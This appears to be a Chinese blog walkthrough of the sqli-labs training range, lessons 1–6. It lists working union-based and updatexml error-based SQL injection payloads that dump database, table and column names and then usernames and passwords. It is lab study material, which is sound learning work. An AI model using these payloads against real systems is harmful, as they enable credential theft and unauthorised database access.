SQL注入漏洞复现1

一、靶场信息

sqli-labs下载:https://github.com/Audi-1/sqli-labs

phpstudy下载地址:http://down.php.cn/PhpStudy20180211.zip

我是在本地安装小皮搭建环境,相比于在服务器上搭建环境,更加简单

二、注入实操

Less-1

复制代码
爆库名:http://127.0.0.1:100/Less-1/?id=-1' union select 1,2,database()--+
复制代码
爆表名:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
复制代码
爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+

Less-2

复制代码
爆库名:?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1 union select 1,2,database()--+
复制代码
爆表名:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+

Less-3

复制代码
爆库名:?id=-1')  union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1') union select 1,2,database()--+
复制代码
爆表名:?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

Less-4

复制代码
爆库名:?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1") union select 1,2,database()--+
复制代码
爆表名:?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

Less-5

复制代码
爆库名:?id=1' and updatexml(1,concat(0x7e,database(), 0x7e),1)--+
复制代码
爆表名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+

字符过长,显示不全,使用substr函数进行截取:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,32), 0x7e),1)--+
复制代码
爆列名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
复制代码
爆数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
复制代码
字符过长,显示不全,使用substr函数进行截取:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+

Less-6

复制代码
爆库名:?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
复制代码
爆表名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+
复制代码
爆列名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
复制代码
爆数据:?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
相关推荐
CYRUS_STUDIO24 分钟前
如何防止 so 文件被轻松逆向?精准控制符号导出 + JNI 动态注册
android·c++·安全
CYRUS_STUDIO25 分钟前
C&C++ 代码安全再升级:用 OLLVM 给 so 加上字符串加密保护
c++·安全·llvm
lingggggaaaa32 分钟前
小迪安全v2023学习笔记(八十讲)—— 中间件安全&WPS分析&Weblogic&Jenkins&Jetty&CVE
笔记·学习·安全·web安全·网络安全·中间件·wps
北极光SD-WAN组网1 小时前
基于智能组网设备的港口网络安全闭环管控方案设计与实践
网络·安全·web安全
emma羊羊3 小时前
【 SQL注入漏洞靶场】第二关文件读写
sql·网络安全·靶场·sql注入
FreeBuf_4 小时前
Salesloft Drift网络攻击事件溯源:GitHub账户失陷与OAuth令牌窃取
安全·github
Chan164 小时前
【智能协同云图库】基于统一接口架构构建多维度分析功能、结合 ECharts 可视化与权限校验实现用户 / 管理员图库统计、通过 SQL 优化与流式处理提升数据
java·spring boot·后端·sql·spring·intellij-idea·echarts
乐迪信息5 小时前
乐迪信息:AI摄像机在智慧煤矿人员安全与行为识别中的技术应用
大数据·人工智能·算法·安全·视觉检测
XINERTEL5 小时前
看不见的安全防线:信而泰仪表如何验证零信任有效性
安全
qq_312920115 小时前
Nginx限流与防爬虫与安全配置方案
运维·爬虫·nginx·安全